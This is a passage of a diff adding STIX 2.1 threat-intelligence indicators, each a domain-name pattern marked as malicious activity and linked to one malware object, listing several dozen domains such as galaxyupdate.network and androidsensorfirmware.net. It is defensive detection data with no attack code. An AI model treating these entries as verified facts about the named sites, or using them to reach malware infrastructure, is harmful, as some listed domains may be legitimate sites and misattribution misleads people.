"2024-05-02T08:36:18.559321Z", + "modified": "2024-05-02T08:36:18.559321Z", + "relationship_type": "indicates", + "source_ref": "indicator--e8884f0b-be87-43c4-894d-b139ab317e03", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d00d5b5-a178-4312-b663-1d4220e41b81", + "created": "2024-05-02T08:36:18.559419Z", + "modified": "2024-05-02T08:36:18.559419Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='arninja.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.559419Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd0c1fb2-33eb-4759-8fd2-72588cf22b31", + "created": "2024-05-02T08:36:18.559807Z", + "modified": "2024-05-02T08:36:18.559807Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d00d5b5-a178-4312-b663-1d4220e41b81", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--78baeea1-9372-4e10-8087-229907f017e6", + "created": "2024-05-02T08:36:18.559905Z", + "modified": "2024-05-02T08:36:18.559905Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='draftshape.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.559905Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb0b454b-9fcd-4900-95a2-d3961847c7d0", + "created": "2024-05-02T08:36:18.560303Z", + "modified": "2024-05-02T08:36:18.560303Z", + "relationship_type": "indicates", + "source_ref": "indicator--78baeea1-9372-4e10-8087-229907f017e6", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--931764fc-60f4-4cd5-bfae-a6109daa6497", + "created": "2024-05-02T08:36:18.560405Z", + "modified": "2024-05-02T08:36:18.560405Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taminessentials.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.560405Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bd62de13-68e5-4653-9f3d-545d79631b52", + "created": "2024-05-02T08:36:18.560804Z", + "modified": "2024-05-02T08:36:18.560804Z", + "relationship_type": "indicates", + "source_ref": "indicator--931764fc-60f4-4cd5-bfae-a6109daa6497", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ac2ab56-3a32-480d-9912-837d83365fea", + "created": "2024-05-02T08:36:18.560902Z", + "modified": "2024-05-02T08:36:18.560902Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='basketballreviews.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.560902Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e8cf75e-e6c2-48ac-bc81-3240c7532182", + "created": "2024-05-02T08:36:18.56131Z", + "modified": "2024-05-02T08:36:18.56131Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ac2ab56-3a32-480d-9912-837d83365fea", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f0f94bd3-472c-4863-9d3a-a854d84ac483", + "created": "2024-05-02T08:36:18.561407Z", + "modified": "2024-05-02T08:36:18.561407Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='medatcost.co']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.561407Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2dd0bc5-4442-4fff-9222-0b6c4723f9d4", + "created": "2024-05-02T08:36:18.561796Z", + "modified": "2024-05-02T08:36:18.561796Z", + "relationship_type": "indicates", + "source_ref": "indicator--f0f94bd3-472c-4863-9d3a-a854d84ac483", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56a2a161-abe2-4579-b37b-69f6e61c1d04", + "created": "2024-05-02T08:36:18.561892Z", + "modified": "2024-05-02T08:36:18.561892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='technarrow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.561892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be957861-ad98-45fa-8e31-f44ad7f71b9d", + "created": "2024-05-02T08:36:18.562285Z", + "modified": "2024-05-02T08:36:18.562285Z", + "relationship_type": "indicates", + "source_ref": "indicator--56a2a161-abe2-4579-b37b-69f6e61c1d04", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0ea59a21-1921-4463-8cae-e366f3cc27b9", + "created": "2024-05-02T08:36:18.56238Z", + "modified": "2024-05-02T08:36:18.56238Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='selfhelptech.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.56238Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cc23459c-1ef9-4080-ae44-6f1817eaeade", + "created": "2024-05-02T08:36:18.562771Z", + "modified": "2024-05-02T08:36:18.562771Z", + "relationship_type": "indicates", + "source_ref": "indicator--0ea59a21-1921-4463-8cae-e366f3cc27b9", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--66c60f1e-fad1-4fc3-87e7-ab0ba83c9109", + "created": "2024-05-02T08:36:18.562868Z", + "modified": "2024-05-02T08:36:18.562868Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='beaconzero.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.562868Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--750be5ab-5c7d-4de6-80b4-4fd55f9a2e98", + "created": "2024-05-02T08:36:18.563262Z", + "modified": "2024-05-02T08:36:18.563262Z", + "relationship_type": "indicates", + "source_ref": "indicator--66c60f1e-fad1-4fc3-87e7-ab0ba83c9109", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ccaaa98-3ad4-496f-acf2-c4aae218e7a6", + "created": "2024-05-02T08:36:18.563361Z", + "modified": "2024-05-02T08:36:18.563361Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='senego.fr']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.563361Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a99da46a-9391-4884-9e1c-d99fdb647f9a", + "created": "2024-05-02T08:36:18.563825Z", + "modified": "2024-05-02T08:36:18.563825Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ccaaa98-3ad4-496f-acf2-c4aae218e7a6", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d7444325-03d7-4869-a93b-89b25a85c27e", + "created": "2024-05-02T08:36:18.563924Z", + "modified": "2024-05-02T08:36:18.563924Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='theholder.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.563924Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc44179c-431a-4e8c-a5c1-9e4ad96ed199", + "created": "2024-05-02T08:36:18.564327Z", + "modified": "2024-05-02T08:36:18.564327Z", + "relationship_type": "indicates", + "source_ref": "indicator--d7444325-03d7-4869-a93b-89b25a85c27e", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f2132b84-867e-4695-9edc-67085e2b1c02", + "created": "2024-05-02T08:36:18.564425Z", + "modified": "2024-05-02T08:36:18.564425Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='androidsensorfirmware.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.564425Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d3e851a-bfe5-487b-b228-a1d587f8ca80", + "created": "2024-05-02T08:36:18.564824Z", + "modified": "2024-05-02T08:36:18.564824Z", + "relationship_type": "indicates", + "source_ref": "indicator--f2132b84-867e-4695-9edc-67085e2b1c02", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4f27e69-a2df-4a65-89fa-bf5c443fe496", + "created": "2024-05-02T08:36:18.564922Z", + "modified": "2024-05-02T08:36:18.564922Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='driverhacks.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.564922Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7090c0cb-9147-43ad-a7c4-18c34a86b75e", + "created": "2024-05-02T08:36:18.565311Z", + "modified": "2024-05-02T08:36:18.565311Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4f27e69-a2df-4a65-89fa-bf5c443fe496", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ec1d7b3-686b-46fd-9c05-d0dfce569cf7", + "created": "2024-05-02T08:36:18.565408Z", + "modified": "2024-05-02T08:36:18.565408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thesoundyou.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.565408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d632981-c073-41a0-9d23-c7a9f2219109", + "created": "2024-05-02T08:36:18.5658Z", + "modified": "2024-05-02T08:36:18.5658Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ec1d7b3-686b-46fd-9c05-d0dfce569cf7", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d29f595a-fb78-4141-8099-2f7a7414bc31", + "created": "2024-05-02T08:36:18.566345Z", + "modified": "2024-05-02T08:36:18.566345Z", + "relationship_type": "indicates", + "source_ref": "indicator--3eaf5002-09aa-476c-be2a-281a95b33f1a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--19cb9c55-fc94-4de0-b045-8db047fb27e8", + "created": "2024-05-02T08:36:18.566446Z", + "modified": "2024-05-02T08:36:18.566446Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oneinfluence.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.566446Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b7c77e64-49fc-4026-b69d-41364a3e3e0f", + "created": "2024-05-02T08:36:18.566833Z", + "modified": "2024-05-02T08:36:18.566833Z", + "relationship_type": "indicates", + "source_ref": "indicator--19cb9c55-fc94-4de0-b045-8db047fb27e8", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43543b23-3d5d-416b-9b01-f92276284ae4", + "created": "2024-05-02T08:36:18.56693Z", + "modified": "2024-05-02T08:36:18.56693Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='galaxyupdate.network']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.56693Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9a45ffb6-5eb8-4fac-ac88-d7e0fcc5c8f3", + "created": "2024-05-02T08:36:18.567322Z", + "modified": "2024-05-02T08:36:18.567322Z", + "relationship_type": "indicates", + "source_ref": "indicator--43543b23-3d5d-416b-9b01-f92276284ae4", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--203549d9-1bbf-4b05-9c25-c28fdb6e82f1", + "created": "2024-05-02T08:36:18.56742Z", + "modified": "2024-05-02T08:36:18.56742Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='piratetv.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.56742Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c7066bb4-2ef9-4705-8813-a9f75ebe8df6", + "created": "2024-05-02T08:36:18.567811Z", + "modified": "2024-05-02T08:36:18.567811Z", + "relationship_type": "indicates", + "source_ref": "indicator--203549d9-1bbf-4b05-9c25-c28fdb6e82f1", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e067beb2-d3a3-4085-a8a4-401ff2fed16f", + "created": "2024-05-02T08:36:18.567917Z", + "modified": "2024-05-02T08:36:18.567917Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swiftecho.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.567917Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac7d71d3-a654-475b-b8dc-ff01496abdf9", + "created": "2024-05-02T08:36:18.568386Z", + "modified": "2024-05-02T08:36:18.568386Z", + "relationship_type": "indicates", + "source_ref": "indicator--e067beb2-d3a3-4085-a8a4-401ff2fed16f", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--20a0fbe2-1b4c-4f03-af5d-f09beba9c86c", + "created": "2024-05-02T08:36:18.56849Z", + "modified": "2024-05-02T08:36:18.56849Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gotechtube.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.56849Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a453a392-fcff-4906-802e-bfae06595e62", + "created": "2024-05-02T08:36:18.568873Z", + "modified": "2024-05-02T08:36:18.568873Z", + "relationship_type": "indicates", + "source_ref": "indicator--20a0fbe2-1b4c-4f03-af5d-f09beba9c86c", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e6faa0ba-889a-4137-84e4-7e518e7b8300", + "created": "2024-05-02T08:36:18.56897Z", + "modified": "2024-05-02T08:36:18.56897Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lidarfirmwareupdate.network']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.56897Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45bb9463-016b-46f5-b40e-489f3d802ed1", + "created": "2024-05-02T08:36:18.569369Z", + "modified": "2024-05-02T08:36:18.569369Z", + "relationship_type": "indicates", + "source_ref": "indicator--e6faa0ba-889a-4137-84e4-7e518e7b8300", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d50639e9-5369-4f09-9103-bd90c0fb4fcc", + "created": "2024-05-02T08:36:18.569464Z", + "modified": "2024-05-02T08:36:18.569464Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carepile.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.569464Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a0db2dbb-4362-443f-8c4d-f513253726a6", + "created": "2024-05-02T08:36:18.569847Z", + "modified": "2024-05-02T08:36:18.569847Z", + "relationship_type": "indicates", + "source_ref": "indicator--d50639e9-5369-4f09-9103-bd90c0fb4fcc", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b8af659b-424d-4212-af6d-50bd875f9a60", + "created": "2024-05-02T08:36:18.569944Z", + "modified": "2024-05-02T08:36:18.569944Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='waterfit.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.569944Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d89ffe20-c8e8-49d6-a0da-a6cabe96814a", + "created": "2024-05-02T08:36:18.570331Z", + "modified": "2024-05-02T08:36:18.570331Z", + "relationship_type": "indicates", + "source_ref": "indicator--b8af659b-424d-4212-af6d-50bd875f9a60", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d792b1c3-3a34-43a9-aee0-f3ce25dce191", + "created": "2024-05-02T08:36:18.570428Z", + "modified": "2024-05-02T08:36:18.570428Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coolbrandlabs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.570428Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec1eee00-9006-4747-8ae2-9575aec25397", + "created": "2024-05-02T08:36:18.57082Z", + "modified": "2024-05-02T08:36:18.57082Z", + "relationship_type": "indicates", + "source_ref": "indicator--d792b1c3-3a34-43a9-aee0-f3ce25dce191", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75c4176e-68a9-4166-8ba6-8170b8b8b4c2", + "created": "2024-05-02T08:36:18.570917Z", + "modified": "2024-05-02T08:36:18.570917Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='expressotelecom.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.570917Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4f2dcf8a-baf2-4a70-8e50-0824a2d923c2", + "created": "2024-05-02T08:36:18.571309Z", + "modified": "2024-05-02T08:36:18.571309Z", + "relationship_type": "indicates", + "source_ref": "indicator--75c4176e-68a9-4166-8ba6-8170b8b8b4c2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae12f4e6-5c1d-4198-bcd5-3746a05c1738", + "created": "2024-05-02T08:36:18.571411Z", + "modified": "2024-05-02T08:36:18.571411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='laptoptech.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.571411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b6e5156-1cbf-485f-8871-0ec6b63607b5", + "created": "2024-05-02T08:36:18.571795Z", + "modified": "2024-05-02T08:36:18.571795Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae12f4e6-5c1d-4198-bcd5-3746a05c1738", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--13dde9a6-ba80-4135-a6b3-799d0c7bf306", + "created": "2024-05-02T08:36:18.571892Z", + "modified": "2024-05-02T08:36:18.571892Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='riskdrive.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.571892Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a44e68ba-ee9d-4358-bab2-ff4c4de78cec", + "created": "2024-05-02T08:36:18.572282Z", + "modified": "2024-05-02T08:36:18.572282Z", + "relationship_type": "indicates", + "source_ref": "indicator--13dde9a6-ba80-4135-a6b3-799d0c7bf306", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa85a42b-2e3f-4382-8137-3533a999384d", + "created": "2024-05-02T08:36:18.572381Z", + "modified": "2024-05-02T08:36:18.572381Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='biceptech.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.572381Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8fc6fccd-173f-41f6-956e-c0cd34824a5c", + "created": "2024-05-02T08:36:18.57285Z", + "modified": "2024-05-02T08:36:18.57285Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa85a42b-2e3f-4382-8137-3533a999384d", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b04cd783-3b01-45c5-9b19-5840b8ac44e2", + "created": "2024-05-02T08:36:18.572948Z", + "modified": "2024-05-02T08:36:18.572948Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swimmingcompany.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.572948Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65c9a646-371b-40f2-a13b-b029126595c7", + "created": "2024-05-02T08:36:18.573339Z", + "modified": "2024-05-02T08:36:18.573339Z", + "relationship_type": "indicates", + "source_ref": "indicator--b04cd783-3b01-45c5-9b19-5840b8ac44e2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9858e5aa-dfc7-4c20-9864-8434fd59ec44", + "created": "2024-05-02T08:36:18.573438Z", + "modified": "2024-05-02T08:36:18.573438Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='realmac.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.573438Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--327e8565-fcdd-4b24-aea3-26af940aa247", + "created": "2024-05-02T08:36:18.573821Z", + "modified": "2024-05-02T08:36:18.573821Z", + "relationship_type": "indicates", + "source_ref": "indicator--9858e5aa-dfc7-4c20-9864-8434fd59ec44", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7643f6b9-1633-425d-8661-fe2aa0ca2f2a", + "created": "2024-05-02T08:36:18.573918Z", + "modified": "2024-05-02T08:36:18.573918Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hirecheapcar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.573918Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--729d4798-0bdf-496c-ad26-3d2095656efa", + "created": "2024-05-02T08:36:18.574312Z", + "modified": "2024-05-02T08:36:18.574312Z", + "relationship_type": "indicates", + "source_ref": "indicator--7643f6b9-1633-425d-8661-fe2aa0ca2f2a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ea62b790-9316-40f4-b3e3-aa20ade441e5", + "created": "2024-05-02T08:36:18.574407Z", + "modified": "2024-05-02T08:36:18.574407Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swimaster.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.574407Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b15e737b-84a9-448b-b855-c2827d7354b9", + "created": "2024-05-02T08:36:18.574797Z", + "modified": "2024-05-02T08:36:18.574797Z", + "relationship_type": "indicates", + "source_ref": "indicator--ea62b790-9316-40f4-b3e3-aa20ade441e5", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0f5e882e-cd0b-4a55-af5e-8fe84b7703c9", + "created": "2024-05-02T08:36:18.574896Z", + "modified": "2024-05-02T08:36:18.574896Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pythonsystems.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.574896Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e340b5b9-1f96-4e27-8109-7adf1076db06", + "created": "2024-05-02T08:36:18.575285Z", + "modified": "2024-05-02T08:36:18.575285Z", + "relationship_type": "indicates", + "source_ref": "indicator--0f5e882e-cd0b-4a55-af5e-8fe84b7703c9", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--56d46e87-ec66-415b-ab5f-fd85c44d6fbc", + "created": "2024-05-02T08:36:18.575382Z", + "modified": "2024-05-02T08:36:18.575382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dinnerfit.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.575382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a4d69c35-4685-41c6-92b3-6a134be508e2", + "created": "2024-05-02T08:36:18.575771Z", + "modified": "2024-05-02T08:36:18.575771Z", + "relationship_type": "indicates", + "source_ref": "indicator--56d46e87-ec66-415b-ab5f-fd85c44d6fbc", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c455fa36-8341-4578-9c92-df5333956290", + "created": "2024-05-02T08:36:18.575867Z", + "modified": "2024-05-02T08:36:18.575867Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='netprotector.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.575867Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fe67909c-cae4-430f-9d8f-4e743a37b89f", + "created": "2024-05-02T08:36:18.576256Z", + "modified": "2024-05-02T08:36:18.576256Z", + "relationship_type": "indicates", + "source_ref": "indicator--c455fa36-8341-4578-9c92-df5333956290", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cfd5a50f-728a-4667-a4e6-93d6080f5935", + "created": "2024-05-02T08:36:18.576353Z", + "modified": "2024-05-02T08:36:18.576353Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recipeadvice.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.576353Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c4af8b37-bbc0-4747-bdf9-c17194787e00", + "created": "2024-05-02T08:36:18.576737Z", + "modified": "2024-05-02T08:36:18.576737Z", + "relationship_type": "indicates", + "source_ref": "indicator--cfd5a50f-728a-4667-a4e6-93d6080f5935", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a60116cf-6daa-4d4b-81d0-ab2a67650399", + "created": "2024-05-02T08:36:18.576839Z", + "modified": "2024-05-02T08:36:18.576839Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='computer-repair.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.576839Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1d2bdba7-e81e-4a5c-bb67-7e2b43731a17", + "created": "2024-05-02T08:36:18.577309Z", + "modified": "2024-05-02T08:36:18.577309Z", + "relationship_type": "indicates", + "source_ref": "indicator--a60116cf-6daa-4d4b-81d0-ab2a67650399", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--65132f0e-2b2d-4830-9d20-fa332a306575", + "created": "2024-05-02T08:36:18.577407Z", + "modified": "2024-05-02T08:36:18.577407Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='intech.so']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.577407Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4a7d1f9f-5219-486e-9334-657d6fa63e0e", + "created": "2024-05-02T08:36:18.577787Z", + "modified": "2024-05-02T08:36:18.577787Z", + "relationship_type": "indicates", + "source_ref": "indicator--65132f0e-2b2d-4830-9d20-fa332a306575", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": 